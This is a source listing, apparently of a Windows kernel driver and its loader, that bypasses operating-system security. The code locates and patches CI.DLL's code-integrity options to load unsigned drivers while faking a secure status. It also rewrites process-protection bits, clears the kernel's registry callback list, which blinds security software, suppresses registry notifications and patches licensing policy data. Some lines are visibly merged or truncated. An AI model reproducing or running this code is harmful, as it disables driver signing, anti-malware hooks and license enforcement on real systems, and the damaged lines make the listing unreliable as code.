59 | if (tkb->KeyControlBlock != kb->KeyControlBlock)
60 | return 0;
61 | nb = tkb->NotifyBlock;
62 | while (nb) {
63 | union {
64 | struct {
65 | ULONG low:8;
66 | ULONG high:8;
67 | ULONG rest:14;
68 | };
69 | ULONG n:30;
70 | } f;
71 | if (nb->KeyControlBlock != kb->KeyControlBlock)
72 | goto skipentry;
73 |
74 | f.n = nb->Filter;
75 | DBG("process NB @ %p Filter=%x high=%x low=%x\n",
76 | nb, nb->Filter, f.high, f.low);
77 | if (!lock && f.low && !f.high) {
78 | f.high = f.low;
79 | f.low = 0;
80 | DBG("unlock: changing filter from %x to %x", nb->Filter, f.n);
81 | nb->Filter = f.n;
82 | ret++;
83 | }
84 | if (lock && f.high && !f.low) {
85 | f.low = f.high;
86 | f.high = 0;
87 | DBG("re-lock: changing filter from %x to %x", nb->Filter, f.n);
88 | nb->Filter = f.n;
89 | ret++;
90 | }
91 | skipentry:
92 | if (!nb->HiveList.Flink)
93 | break;
94 | nb = CONTAINING_RECORD(nb->HiveList.Flink,
95 | CM_NOTIFY_BLOCK, HiveList);
96 | }
97 | return ret;
98 | }
99 |
100 | static NTSTATUS open_key(HANDLE *h, PUNICODE_STRING name)
101 | {
102 | OBJECT_ATTRIBUTES attr = {
103 | .Length = sizeof(attr),
104 | .Attributes = OBJ_KERNEL_HANDLE|OBJ_CASE_INSENSITIVE,
105 | .ObjectName = name
106 | };
107 | return ZwOpenKey(h, KEY_READ, &attr);
108 | }
109 |
110 | // Stop/reenable notifications on registry key.
111 | static NTSTATUS reg_set_notify(PUNICODE_STRING name, int lock)
112 | {
113 | #define KLOCK_FLAGS (CM_KCB_NO_DELAY_CLOSE|CM_KCB_READ_ONLY_KEY)
114 | #define KUNLOCK_MARKER (1<<15)
115 | #define NSPAM 6
116 | HANDLE harr[NSPAM];
117 | CM_KEY_BODY *kbs[NSPAM], *kb;
118 | NTSTATUS st;
119 | CM_KEY_CONTROL_BLOCK *cb;
120 | LIST_ENTRY *kl;
121 | void **scan;
122 | int i;
123 | struct {
124 | LIST_ENTRY KeyBodyListHead;
125 | CM_KEY_BODY *KeyBodyArray[4];
126 | } *cbptr = NULL;
127 |
128 | // Spam handles to ensure we'll appear in cbptr->KeyBodyListHead.
129 | for (i = 0; i < NSPAM; i++) {
130 | st = open_key(&harr[i], name);
131 | if (!NT_SUCCESS(st))
132 | goto out_unspam_zwclose;
133 | }
134 | for (i = 0; i < NSPAM; i++) {
135 | st = ObReferenceObjectByHandle(harr[i], KEY_WRITE,
136 | *CmKeyObjectType, 0, (void*)&kbs[i], NULL);
137 | if (!NT_SUCCESS(st))
138 | goto out_unspam_deref;
139 | }
140 |
141 | kb = kbs[NSPAM-1];
142 | cb = kb->KeyControlBlock;
143 | st = STATUS_KEY_DELETED;
144 | if (!cb || cb->Delete)
145 | goto out_unspam;
146 |
147 | scan = (void*)cb;
148 | st = STATUS_INTERNAL_ERROR;
149 | DBG("kb=%p cb=%p, scanning...\n", kb, cb);
150 | // Find ourselves in the CM_KEY_CONTROL_BLOCK structure.
151 | for (i = 0; i < 512; i++) {
152 | DBG("scan near %p = %p %p\n", &scan[i], scan[i], &kb->KeyBodyList)
153 | if (scan[i] == &kb->KeyBodyList) {
154 | cbptr = (void*)(scan+i-1);
155 | break;
156 | }
157 | }
158 | if (!cbptr) {
159 | DBG("cbptr not found\n");
160 | goto out_unspam;
161 | }
162 |
163 | DBG("cbptr @ %p, offset %p\n", cbptr, ((ULONG_PTR)(((void*)cbptr)-((void*)cb))));
164 |
165 | // Now process array area.
166 | for (i = 0; i < 4; i++)
167 | if (notify_unlock(lock, cbptr->KeyBodyArray[i], kb))
168 | st = STATUS_SUCCESS;
169 |
170 | // And list area too.
171 | kl = cbptr->KeyBodyListHead.Flink;
172 | DBG("kl=%p\n");
173 | while (kl && (kl != &cbptr->KeyBodyListHead)) {
174 | CM_KEY_BODY *tkb = CONTAINING_RECORD(kl, CM_KEY_BODY, KeyBodyList);
175 | if (notify_unlock(lock, tkb, kb))
176 | st = STATUS_SUCCESS;
177 | kl = kl->Flink;
178 | }
179 |
180 | out_unspam:;
181 | i = NSPAM;
182 | out_unspam_deref:
183 | for (int j = 0; j < i; j++)
184 | ObDereferenceObject(kbs[j]);
185 | i = NSPAM;
186 | out_unspam_zwclose:
187 | for (int j = 0; j < i; j++)
188 | ZwClose(harr[j]);
189 | return st;
190 | }
191 |
192 | // Apply/remove hard lock.
193 | static NTSTATUS reg_set_lock(PUNICODE_STRING name, int lock)
194 | {
195 | HANDLE h;
196 | NTSTATUS st;
197 | CM_KEY_CONTROL_BLOCK *cb;
198 | CM_KEY_BODY *kb;
199 |
200 | st = open_key(&h, name);
201 | if (!NT_SUCCESS(st))
202 | return st;
203 | st = ObReferenceObjectByHandle(h, KEY_WRITE,
204 | *CmKeyObjectType, 0, (void*)&kb, NULL);
205 |
206 | if (!NT_SUCCESS(st)) {
207 | ZwClose(h);
208 | return st;
209 | }
210 | cb = kb->KeyControlBlock;
211 | st = STATUS_KEY_DELETED;
212 | if (!cb || cb->Delete)
213 | goto out;
214 |
215 | DBG("lock=%d, kb=%p, cb=%p, t=%x refc=%u flags=%02x nb=%p\n",
216 | lock, kb, cb, kb->Type, cb->RefCount, cb->ExtFlags, kb->NotifyBlock);
217 |
218 | st = STATUS_SUCCESS;
219 | if (lock) {
220 | cb->ExtFlags |= KLOCK_FLAGS;
221 | } else {
222 | cb->ExtFlags &= ~KLOCK_FLAGS;
223 | }
224 | out:;
225 | ObDereferenceObject(kb);
226 | ZwClose(h);
227 | return st;
228 | }
229 |
230 | static NTSTATUS regs_do(NTSTATUS (*fn)(PUNICODE_STRING,int), PUNICODE_STRING names,
231 | int lock)
232 | {
233 | WCHAR *p = names->Buffer;
234 | NTSTATUS status = STATUS_SUCCESS;
235 |
236 | if (!p)
237 | return status;
238 |
239 | while (*p) {
240 | WCHAR *next;
241 | UNICODE_STRING split;
242 | NTSTATUS item_status;
243 |
244 | next = wcschr(p, L';');
245 | if (next)
246 | *next = 0;
247 |
248 | RtlInitUnicodeString(&split, p);
249 | item_status = fn(&split, lock);
250 | if (NT_SUCCESS(status) && !NT_SUCCESS(item_status))
251 | status = item_status;
252 | if (!next)
253 | break;
254 | p = next+1;
255 | }
256 | return status;
257 | }
258 |
259 | static NTSTATUS change_prot(wind_prot_t *req)
260 | {
261 | int getonly;
262 | void *proc;
263 | NTSTATUS status;
264 | if ((getonly = (req->pid < 0)))
265 | req->pid = -req->pid;
266 | status = PsLookupProcessByProcessId((HANDLE)(req->pid), (PEPROCESS*)&proc);
267 | if (!NT_SUCCESS(status))
268 | return status;
269 | if (cfg.protbit < 0) {
270 | WIND_PS_PROTECTION save, *prot = proc + cfg.protofs - 2;
271 | memcpy(&save, prot, sizeof(save));
272 | if (!getonly)
273 | memcpy(prot, &req->prot, sizeof(req->prot));
274 | memcpy(&req->prot, &save, sizeof(save));
275 | } else {
276 | ULONG prev, *prot = proc + cfg.protofs;
277 | prev = *prot;
278 | if (!getonly)
279 | *prot = (prev & (~(1<prot.Level) << cfg.protbit);
281 | memset(&req->prot, 0, sizeof(req->prot));
282 | req->prot.Level = (prev>>cfg.protbit)&1;
283 | }
284 | ObDereferenceObject(proc);
285 | return status;
286 | }
287 |
288 | static NTSTATUS regcb_set(int enable)
289 | {
290 | static LIST_ENTRY saved_list;
291 | static int cleared = 0;
292 | if (!cfg.cblist)
293 | return STATUS_NOT_SUPPORTED;
294 | if (cleared ^ enable)
295 | return STATUS_DEVICE_BUSY;
296 | if (!enable) {
297 | saved_list = *cfg.cblist;
298 | InitializeListHead(cfg.cblist);
299 | cleared = 1;
300 | } else {
301 | *cfg.cblist = saved_list;
302 | cleared = 0;
303 | }
304 | return STATUS_SUCCESS;
305 | }
306 |
307 | // Helper scratch space for parser.
308 | typedef struct {
309 | wind_pol_ent *ents[WIND_POL_MAX];
310 | UCHAR scratch[65536], *p;
311 | int nent;
312 | } parse_t;
313 |
314 | // Walk through our custom policies, and patch em up into the system one.
315 | static NTSTATUS NTAPI parse_policy(WCHAR *name, ULONG typ, void *data, ULONG len,
316 | void *pparse, void *unused)
317 | {
318 | parse_t *parse = pparse;
319 | wind_pol_ent *e;
320 | int i, nlen;
321 | if (!name)
322 | return STATUS_SUCCESS;
323 | nlen = wcslen(name)*2;
324 | DBG("Inside parser, %S, typ=%d, nent=%d %p %p %p\n",name,typ,parse->nent,parse,unused,data);
325 | // Sane type.
326 | if ((typ != REG_SZ) && (typ != REG_BINARY) && (typ != REG_DWORD))
327 | return STATUS_SUCCESS;
328 | // Find entry of given name
329 | for (i = 0; i < parse->nent; i++) {
330 | if (parse->ents[i]->name_sz == nlen
331 | && (RtlCompareMemory(parse->ents[i]->name, name, nlen)==nlen)) {
332 | DBG("found at index %d\n",i);
333 | break;
334 | }
335 | }
336 | // Allocate scratch space
337 | e = (void*)parse->p;
338 | parse->p += sizeof(*e) + len + nlen;
339 | if (parse->p > (parse->scratch + sizeof(parse->scratch)))
340 | return STATUS_SUCCESS;
341 | // If name not found, allocate new entry.
342 | if (i == parse->nent) {
343 | e->flags = 0;
344 | if (parse->nent == WIND_POL_MAX)
345 | return STATUS_SUCCESS;
346 | parse->nent++;
347 | } else {
348 | // Otherwise we'll overwrite previous entry, preserve flags.
349 | e->flags = parse->ents[i]->flags;
350 | }
351 | // Fill in entry. Note that padding (as well as final size)
352 | // is done via wind_pol_pack().
353 | e->name_sz = nlen;
354 | e->type = typ;
355 | e->data_sz = len;
356 | e->pad0 = 0;
357 | memcpy(e->name, name, nlen);
358 | memcpy(e->name + nlen, data, len);
359 | parse->ents[i] = e;
360 | return STATUS_SUCCESS;
361 | }
362 |
363 | // System policy has changed, apply our custom rules.
364 | static NTAPI void pol_arm_notify(HANDLE key)
365 | {
366 | static WORK_QUEUE_ITEM it;
367 | static IO_STATUS_BLOCK io;
368 | static struct {
369 | KEY_VALUE_PARTIAL_INFORMATION v;
370 | UCHAR buf[65536];
371 | } vb;
372 | static parse_t parse;
373 | static UCHAR buf[65536];
374 | ULONG got = sizeof(vb);
375 |
376 | // Grab current view of policy and parse its entries.
377 | parse.nent = -1;
378 | if (NT_SUCCESS(ZwQueryValueKey(key, &RTL_STRING(L""PRODUCT_POLICY),
379 | KeyValuePartialInformation, &vb, sizeof(vb), &got)))
380 | parse.nent = wind_pol_unpack(vb.v.Data, parse.ents);
381 | if (parse.nent >= 0) {
382 | RTL_QUERY_REGISTRY_TABLE qt[2] = { {
383 | .QueryRoutine = parse_policy,
384 | .Name = L""CUSTOM_POLICY,
385 | .Flags = RTL_QUERY_REGISTRY_SUBKEY|RTL_QUERY_REGISTRY_NOEXPAND,
386 | },{} };
387 | // Now filter it through our own "policy".
388 | parse.p = parse.scratch;
389 | if (NT_SUCCESS(RtlQueryRegistryValues(0, POLICY_PATH, qt, &parse, NULL))) {
390 | // If ok, pack it again
391 | int len = wind_pol_pack(buf, parse.ents, parse.nent);
392 | // And update cache.
393 | if (cfg.pExUpdateLicenseData)
394 | cfg.pExUpdateLicenseData(len, buf);
395 | else if (cfg.pExUpdateLicenseData2)
396 | cfg.pExUpdateLicenseData2(len, buf);
397 | ZwSetValueKey(key, &RTL_STRING(L""PRODUCT_POLICY), 0, REG_BINARY, buf, len);
398 | }
399 | }
400 | DBG("Re-arming notification\n");
401 | memset(&it, 0, sizeof(it));
402 | it.WorkerRoutine = pol_arm_notify;
403 | it.Parameter = key;
404 | ZwNotifyChangeKey(key, NULL, (void*)&it, (void*)1,
405 | &io, 5, TRUE, NULL, 0, TRUE);
406 | }
407 |
408 | static NTSTATUS NTAPI dev_control(IN PDEVICE_OBJECT dev, IN PIRP irp)
409 | {
410 | PIO_STACK_LOCATION io_stack;
411 | ULONG code;
412 | NTSTATUS status = STATUS_INVALID_PARAMETER;
413 | UNICODE_STRING us;
414 | void *buf;
415 | int len,onoff;
416 |
417 | KeWaitForMutexObject(&ioctl_mutex, UserRequest, KernelMode, FALSE, NULL);
418 |
419 | io_stack = IoGetCurrentIrpStackLocation(irp);
420 | if (!io_stack)
421 | goto out;
422 |
423 | buf = irp->AssociatedIrp.SystemBuffer;
424 | len = io_stack->Parameters.DeviceIoControl.InputBufferLength;
425 | code = io_stack->Parameters.DeviceIoControl.IoControlCode;
426 |
427 | irp->IoStatus.Information = 0;
428 |
429 | if (!SeSinglePrivilegeCheck(LUID_SeLoadDriverPrivilege, irp->RequestorMode)) {
430 | status = STATUS_PRIVILEGE_NOT_HELD;
431 | goto out;
432 | }
433 |
434 | status = STATUS_INVALID_BUFFER_SIZE;
435 | DBG("code=%08x\n",(unsigned)code);
436 |
437 | // codes 0x90x and 0x81x need buffer.
438 | if ((code & ((0x110)<<2)) && (!buf))
439 | goto out;
440 |
441 | // 0x10 marks string argument.
442 | if (code & (0x10 << 2)) {
443 | // must be at least 2 long, must be even, must terminate with 0
444 | if ((len < 2) || (len&1) || (*((WCHAR*)(buf+len-2))!=0))
445 | goto out;
446 |
447 | us.Buffer = (void*)buf;
448 | us.Length = len-2;
449 | us.MaximumLength = len;
450 | }
451 |
452 | onoff = (code>>2)&1;
453 | switch (code) {
454 | case WIND_IOCTL_INSMOD:
455 | status = driver_sideload(&us);
456 | break;
457 | case WIND_IOCTL_REGLOCKON:
458 | case WIND_IOCTL_REGLOCKOFF:
459 | status = regs_do(reg_set_lock, &us, onoff);
460 | break;
461 | case WIND_IOCTL_REGNON:
462 | case WIND_IOCTL_REGNOFF:
463 | status = regs_do(reg_set_notify, &us, onoff);
464 | break;
465 | case WIND_IOCTL_PROT:
466 | if (len != sizeof(wind_prot_t))
467 | goto out;
468 | status = change_prot(buf);
469 | irp->IoStatus.Information = len;
470 | break;
471 | case WIND_IOCTL_REGCBON:
472 | case WIND_IOCTL_REGCBOFF:
473 | status = regcb_set(onoff);
474 | break;
475 | }
476 | out:;
477 | KeReleaseMutex(&ioctl_mutex, 0);
478 | irp->IoStatus.Status = status;
479 | IoCompleteRequest(irp, IO_NO_INCREMENT);
480 | return status;
481 | }
482 |
483 | static VOID NTAPI dev_unload(IN PDRIVER_OBJECT self)
484 | {
485 | DBG("unloading!\n");
486 | // Restore callbacks.
487 | regcb_set(1);
488 | // Nuke our own notify, so that kernel does not call junk.
489 | reg_set_notify(&RTL_STRING(POLICY_PATH), 0);
490 | IoDeleteDevice(self->DeviceObject);
491 | }
492 |
493 | static int k_brute()
494 | {
495 | UCHAR *p = MmGetSystemRoutineAddress(&RTL_STRING(L"MmMapViewInSessionSpace"));
496 | DBG("marker at %p\n", p);
497 | if (!p) return 0;
498 | for (int i = 0; i < 256*1024; i++, p--) {
499 | #ifdef _WIN64
500 | if (EQUALS(p + 14,"\x48\x81\xec\xa0\x04\x00\x00") && p[0] == 0x48)
501 | #else
502 | if (EQUALS(p,"\x68\x28\x04\x00\x00\x68"))
503 | #endif
504 | {
505 | DBG("ExUpdateLicenseData guessed at %p\n", p);
506 | cfg.pExUpdateLicenseData2 = (void*)p;
507 | return 1;
508 | }
509 | }
510 | DBG("Even the brute guess failed.\n");
511 | return 0;
512 | }
513 |
514 | static int k_analyze()
515 | {
516 | int i;
517 | UCHAR *p = (void*)MmGetSystemRoutineAddress(&RTL_STRING(L"PsGetProcessProtection"));
518 | cfg.protbit = -1;
519 | cfg.protofs = 0;
520 | if (!p) {
521 | cfg.protbit = 11;
522 | p = (void*)MmGetSystemRoutineAddress(&RTL_STRING(L"PsIsProtectedProcess"));
523 | // mov
524 | for (i = 0; i < 64; i++, p++)
525 | // mov eax, [anything + OFFSET]; shr eax, 11
526 | if (RtlCompareMemory(p+2, "\x00\x00\xc1\xe8\x0b",5)==5)
527 | goto protfound;
528 | } else {
529 | // mov al, [anything+OFFSET]
530 | for (i =0 ; i < 64; i++, p++)
531 | if ((p[-2] == 0x8a) && (!p[2] && !p[3]))
532 | goto protfound;
533 | }
534 | DBG("failed to find protbit\n");
535 | return 0;
536 | protfound:;
537 | cfg.protofs = *((ULONG*)p);
538 | DBG("prot done");
539 |
540 | p = (void*)MmGetSystemRoutineAddress(&RTL_STRING(L"CmUnRegisterCallback"));
541 | if (!p) goto nocb;
542 | for (i = 0; i < 512; i++, p++) {
543 | #ifdef _WIN64
544 | // lea rcx, cblist; call ..; mov rdi, rax
545 | if (p[-3] == 0x48 && p[-2] == 0x8d && p[-1] == 0x0d &&
546 | p[4] == 0xe8 && p[9] == 0x48 && p[10] == 0x8b && p[11] == 0xf8) {
547 | cfg.cblist = (void*)((p + 4) + *((LONG*)p));
548 | break;
549 | }
550 |
551 | #else
552 | // mov edi, offset cblist; mov eax, edi; call
553 | if ((p[-1] == 0xbf && p[4] == 0x8b && p[5] == 0xc7 && p[6] == 0xe8) ||
554 | (p[-1] == 0xbe && p[4] == 0x53 && p[5] == 0x8d && p[6] == 0x55)) {
555 | cfg.cblist = *((void**)p);
556 | break;
557 | }
558 | #endif
559 | }
560 | nocb:;
561 | DBG("CallbackListHead @ %p", cfg.cblist);
562 | cfg.pExUpdateLicenseData = MmGetSystemRoutineAddress(&RTL_STRING(L"ExUpdateLicenseData"));
563 | if (cfg.pExUpdateLicenseData)
564 | return 1;
565 |
566 | return k_brute();
567 | }
568 |
569 |
570 | NTSTATUS NTAPI ENTRY(driver_entry)(IN PDRIVER_OBJECT self, IN PUNICODE_STRING reg)
571 | {
572 | PDEVICE_OBJECT dev;
573 | NTSTATUS status;
574 | UNICODE_STRING regs[4]={{0}};
575 | RTL_QUERY_REGISTRY_TABLE tab[] = {{
576 | .Flags = RTL_QUERY_REGISTRY_DIRECT
577 | |RTL_QUERY_REGISTRY_TYPECHECK
578 | |RTL_QUERY_REGISTRY_REQUIRED
579 | #ifdef NDEBUG
580 | |RTL_QUERY_REGISTRY_DELETE
581 | #endif
582 | ,
583 | .Name = L"cfg",
584 | .EntryContext = &cfg,
585 | .DefaultType = (REG_BINARY<Buffer, tab, NULL, NULL);
615 | if (!NT_SUCCESS(status)) {
616 | DBG("registry read failed=%x\n",(unsigned)status);
617 | return status;
618 | }
619 | self->DriverUnload = dev_unload;
620 | self->MajorFunction[IRP_MJ_CREATE] = dev_open;
621 | self->MajorFunction[IRP_MJ_DEVICE_CONTROL] = dev_control;
622 |
623 | status = IoCreateDevice(self, 0, &RTL_STRING(L"\\Device\\" WIND_DEVNAME),
624 | FILE_DEVICE_UNKNOWN, 0, 0, &dev);
625 |
626 | if (!NT_SUCCESS(status)) {
627 | DBG("failed to create device=%08x\n",(unsigned)status);
628 | return status;
629 | }
630 |
631 | if (cfg.ci_orig)
632 | cfg.ci_guess = *cfg.ci_orig;
633 | ci_restore();
634 |
635 | KeInitializeMutex(&ioctl_mutex, 0);
636 | KeWaitForMutexObject(&ioctl_mutex, UserRequest, KernelMode, FALSE, NULL);
637 |
638 | dev->Flags |= METHOD_BUFFERED;
639 | dev->Flags &= ~DO_DEVICE_INITIALIZING;
640 |
641 | if (cfg.bootreg) {
642 | regs_do(reg_set_lock, regs, 0);
643 | regs_do(reg_set_lock, regs+1, 1);
644 | regs_do(reg_set_notify, regs+2, 0);
645 | regs_do(reg_set_notify, regs+3, 1);
646 | }
647 |
648 | if (k_analyze()) {
649 | HANDLE kh;
650 | reg_set_notify(&RTL_STRING(POLICY_PATH), 0);
651 | if (NT_SUCCESS(open_key(&kh, &RTL_STRING(POLICY_PATH))))
652 | pol_arm_notify(kh);
653 | }
654 |
655 | DBG("initialized driver with:\n"
656 | " .ci_opt = %p\n"
657 | " .ci_orig = %p\n"
658 | " .ci_guess = %02x\n"
659 | " .protofs = %x\n"
660 | " .protbit = %d\n", cfg.ci_opt, cfg.ci_orig, cfg.ci_guess,
661 | cfg.protofs, cfg.protbit);
662 |
663 | KeReleaseMutex(&ioctl_mutex, 0);
664 | DBG("loaded driver\n");
665 | return status;
666 | }
667 |
668 |
--------------------------------------------------------------------------------
/wind.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include "defs.h"
7 | #include "ntcruft.h"
8 | #include "wind.h"
9 |
10 | static void *get_res(int id, int *len)
11 | {
12 | HRSRC h = FindResource(NULL, MAKEINTRESOURCE(id), RT_RCDATA);
13 | HGLOBAL g = LoadResource(NULL, h);
14 | *len = SizeofResource(NULL, h);
15 | return LockResource(g);
16 | }
17 |
18 | static void *get_mod_info()
19 | {
20 | DWORD got = 0;
21 | void *m;
22 |
23 | NTSTATUS ret = NtQuerySystemInformation(
24 | SystemModuleInformation, NULL, 0, &got);
25 | if (ret != STATUS_INFO_LENGTH_MISMATCH)
26 | return NULL;
27 |
28 | m = malloc(got);
29 | if (NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation, m, got, &got)))
30 | return m;
31 | free(m);
32 | return NULL;
33 | }
34 |
35 | static ULONG_PTR get_mod_base(RTL_PROCESS_MODULES *m, char *name)
36 | {
37 | for (int i = 0; i < m->NumberOfModules; i++) {
38 | RTL_PROCESS_MODULE_INFORMATION *p = m->Modules + i;
39 | if (!stricmp(name, (char*)p->FullPathName + p->OffsetToFileName))
40 | return (ULONG_PTR)p->ImageBase;
41 | }
42 | return 0;
43 | }
44 |
45 | #ifndef _WIN64
46 | // on x86, we dont have the luxury of saving the original ci_Options
47 | // We attempt to guess semi-correct value of the first byte.
48 | // Since x86 has no PatchGuard running (yet?), this needs to be only
49 | // semi-accurate to feign the "secure" kernel status.
50 | static ULONG_PTR guess_ci()
51 | {
52 | DWORD dw, infoci[2] = { sizeof(infoci) };
53 | unsigned char infosb[0x18];
54 | unsigned char infobe[0x20];
55 | ULONG_PTR ret = 0;
56 | NTSTATUS status;
57 |
58 | status = NtQuerySystemInformation(SystemCodeIntegrityInformation, &infoci, sizeof(infoci), &dw);
59 | DBG("QueryCI status %08x", (unsigned)status);
60 | if (!NT_SUCCESS(status))
61 | return 0;
62 | dw = sizeof(infosb);
63 | status = NtQuerySystemInformation(SystemSecureBootPolicyInformation, &infosb, sizeof(infosb), &dw);
64 | DBG("QuerySecureBoot status %08x", (int)status);
65 | if (NT_SUCCESS(status)) {
66 | dw = sizeof(infobe);
67 | // if ( *(_BYTE *)(v5 + 0x14) & 0x80 )
68 | // {
69 | // LOWORD(v8) = g_CiOptions | 0x20;
70 | // g_CiOptions |= 0x20u;
71 | // }
72 | status = NtQuerySystemInformation(SystemBootEnvironmentInformation, &infobe, sizeof(infobe), &dw);
73 | DBG("QueryBootEnv status %08x", (int)status);
74 | if (NT_SUCCESS(status)) {
75 | if (infosb[0x14] & 0x80)
76 | ret |= 0x20;
77 | }
78 | }
79 |
80 | DBG("infoci is %d", (int)infoci[1]);
81 | if (infoci[1] & 1) // enabled
82 | ret |= 6;
83 | if (infoci[1] & 2) // testsign
84 | ret |= 8;
85 |
86 | return ret;
87 | }
88 | #endif
89 |
90 | static ULONG_PTR ci_analyze(void *mods, wind_config_t *cfg)
91 | {
92 | HMODULE ci;
93 | BYTE *p;
94 | ULONG_PTR mod;
95 | ULONG_PTR base = get_mod_base(mods, "CI.DLL");
96 | ULONG_PTR ci_opt = 0;
97 | ULONG_PTR key = 0;
98 | WCHAR path[PATH_MAX];
99 | #ifdef _WIN64
100 | MEMORY_BASIC_INFORMATION info;
101 | #endif
102 | wcscpy(path + GetSystemDirectory(path, PATH_MAX), L"\\CI.DLL");
103 | ci = LoadLibraryEx(path, NULL, DONT_RESOLVE_DLL_REFERENCES);
104 | if (!ci) {
105 | DBG("no ci initialize %d %S",(int)GetLastError(), path);
106 | goto out_free;
107 | }
108 |
109 | p = (void*)GetProcAddress(ci, "CiInitialize");
110 | mod = (ULONG_PTR)ci;
111 |
112 | DBG("analyzing ci, modbase=%p, userbase=%p",(void*)base, (void*)mod);
113 |
114 | // find jmp CipInitialize
115 | for (int i = 0; i < 100; i++, p++) {
116 | // jmp/call forwardnearby
117 | if (((p[-1]&0xfe) == 0xe8) && ((!(p[2]|p[3]))||((p[2]&p[3])==0xff))) {
118 | BYTE *t = p + 4 + *((DWORD*)p);
119 | DBG("candidate %x %p",p[-1],t);
120 | // Don't eat the security cookie
121 | #ifdef _WIN64
122 | // mov rax, [rip+something]
123 | if (EQUALS(t, "\x48\x8b\x05"))
124 | continue;
125 | #else
126 | // mov eax, [something]
127 | if (t[0] == 0xa1)
128 | continue;
129 | #endif
130 | goto cipinit_found;
131 | }
132 | }
133 | DBG("CipInitialize not found in vicinity");
134 | goto out_free;
135 | cipinit_found:
136 | DBG("CipRef @ %p", p);
137 | p = p + 4 + *((DWORD*)p);
138 | DBG("CiInitialize @ %p", p);
139 |
140 | for (int i = 0; i < 100; i++, p++) {
141 | #ifdef _WIN64
142 | // mov ci_Options, ecx; check the relip points back and close
143 | if (p[-2] == 0x89 && p[-1] == 0x0d && p[3] == 0xff) {
144 | ci_opt = (ULONG_PTR)(p + 4) + *((LONG*)p);
145 | goto found_ci;
146 | }
147 | #else
148 | // mov ci_Options, eax|ecx; call __imp_something
149 | if (p[4] == 0xff && p[5] == 0x15)
150 | {
151 | DWORD dw = *((DWORD*)(p+6));
152 | if (dw > mod && dw < (mod+1024*1024)) {
153 | ci_opt = *(ULONG_PTR*)p;
154 | goto found_ci;
155 | }
156 | }
157 | #endif
158 | }
159 | DBG("ci_Options not found");
160 | goto out_free;
161 | found_ci:
162 | #ifdef _WIN64
163 | // Scratch space we use to stash original ci_Options into
164 | if (!VirtualQuery((void*)ci_opt, &info, sizeof(info)))
165 | goto out_free;
166 | cfg->ci_orig = ((info.BaseAddress + info.RegionSize - 4) - mod + base);
167 | // Some dummy, unknown key
168 | p = (void*)mod + 4096;
169 | // key address must incorporate RTL_QUERY_REGISTRY_DIRECT !
170 | while (*((UINT32*)p)>0xff || (!(((ULONG_PTR)p)&0x20))) p++;
171 | key = (ULONG_PTR)p - mod + base;
172 | #else
173 | cfg->ci_guess = guess_ci();
174 | key = 1;
175 | #endif
176 | cfg->ci_opt = (void*)(ci_opt - mod + base);
177 | out_free:
178 | FreeLibrary(ci);
179 | DBG("ci done %d",(int)key);
180 | return key;
181 | }
182 |
183 | static int nt_path(WCHAR *dst, WCHAR *src)
184 | {
185 | // TBD: something smarter may be needed
186 | return swprintf(dst, PATH_MAX, L"\\??\\%s", src)*2+2;
187 | }
188 |
189 | static int create_service(WCHAR *svc, WCHAR *name, WCHAR *image)
190 | {
191 | WCHAR tmp[PATH_MAX];
192 | DWORD dw;
193 | wcscpy(svc, SVC_BASE);
194 | if (name) {
195 | wcscat(svc, name);
196 | } else {
197 | int p = wcslen(svc);
198 | for (WCHAR *i = name = image; *i; i++)
199 | if (*i == L'\\')
200 | name = i+1;
201 | while (*name && *name != '.')
202 | svc[p++] = *name++;
203 | svc[p] = 0;
204 | }
205 |
206 | if (!NT_SUCCESS(RtlCreateRegistryKey(0, svc)))
207 | return 0;
208 | RtlWriteRegistryValue(0, svc, L"ImagePath", REG_SZ, tmp, nt_path(tmp, image));
209 | dw = 1;
210 | RtlWriteRegistryValue(0,svc, L"Type", REG_DWORD, &dw, sizeof(dw));
211 | DBG("created service reg=%S, image=%S", svc, image);
212 | return 1;
213 | }
214 |
215 | static void *read_file(WCHAR *path, int *len)
216 | {
217 | DWORD sz, ret = 0;
218 | HANDLE f;
219 | void *buf;
220 | f = CreateFile(path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
221 | if (f == INVALID_HANDLE_VALUE)
222 | return 0;
223 | sz = GetFileSize(f, NULL);
224 | if (sz == INVALID_FILE_SIZE)
225 | return NULL;
226 | DBG("reading %S, size=%d", path, (int)sz);
227 | buf = malloc(sz);
228 | if ((!ReadFile(f, buf, sz, &ret, NULL)) || (sz != ret)) {
229 | DBG("read failed %d/%d %x",(int)sz,(int)ret,(int)GetLastError());
230 | CloseHandle(f);
231 | free(buf);
232 | return NULL;
233 | }
234 | CloseHandle(f);
235 | *len = sz;
236 | return buf;
237 | }
238 |
239 | static int update_file(WCHAR *fullpath, WCHAR *name, int res)
240 | {
241 | DWORD sz;
242 | WCHAR tmp[PATH_MAX];
243 | HANDLE f;
244 | int needmove = 0;
245 | int elen, len, ret = 0;
246 | void *ebuf, *buf;
247 |
248 | DBG("updating file %S, rsrc=%d", name, res);
249 |
250 | if (res < 0) {
251 | if (!GetModuleFileName(NULL, tmp, PATH_MAX))
252 | return 0;
253 | DBG("got self %S",tmp);
254 | buf = read_file(tmp, &len);
255 | } else buf = get_res(res, &len);
256 |
257 | if (!buf) {
258 | DBG("failed to get update buffer data");
259 | return 0;
260 | }
261 |
262 | wcscpy(fullpath + GetSystemDirectory(fullpath, PATH_MAX), name);
263 | sz = GetFileSize(fullpath, NULL);
264 | DBG("got fullpath %S", fullpath);
265 |
266 | ebuf = read_file(fullpath, &elen);
267 | if (ebuf) {
268 | if ((elen == len) && (!memcmp(ebuf, buf, len))) {
269 | ret = 1;
270 | DBG("files equal, skip");
271 | goto out;
272 | }
273 | DBG("file nonequal? %d %d", elen,len);
274 | }
275 |
276 | f = CreateFile(fullpath, FILE_WRITE_DATA,
277 | FILE_SHARE_READ, 0, CREATE_ALWAYS, 0, 0);
278 | DBG("create %p",f);
279 | if (f == INVALID_HANDLE_VALUE) {
280 | swprintf(tmp, PATH_MAX, L"%s.new", fullpath);
281 | f = CreateFile(tmp, FILE_WRITE_DATA,
282 | FILE_SHARE_READ, 0, CREATE_ALWAYS, 0, 0);
283 | if (f == INVALID_HANDLE_VALUE)
284 | goto out;
285 | needmove = 1;
286 | }
287 |
288 | sz = 0;
289 | ret = WriteFile(f, buf, len, &sz, NULL);
290 | CloseHandle(f);
291 | if (!ret || sz != len) {
292 | DeleteFile(needmove?tmp:fullpath);
293 | goto out;
294 | }
295 | if (needmove) {
296 | DBG("Will move from %S to %S on next boot", tmp, fullpath);
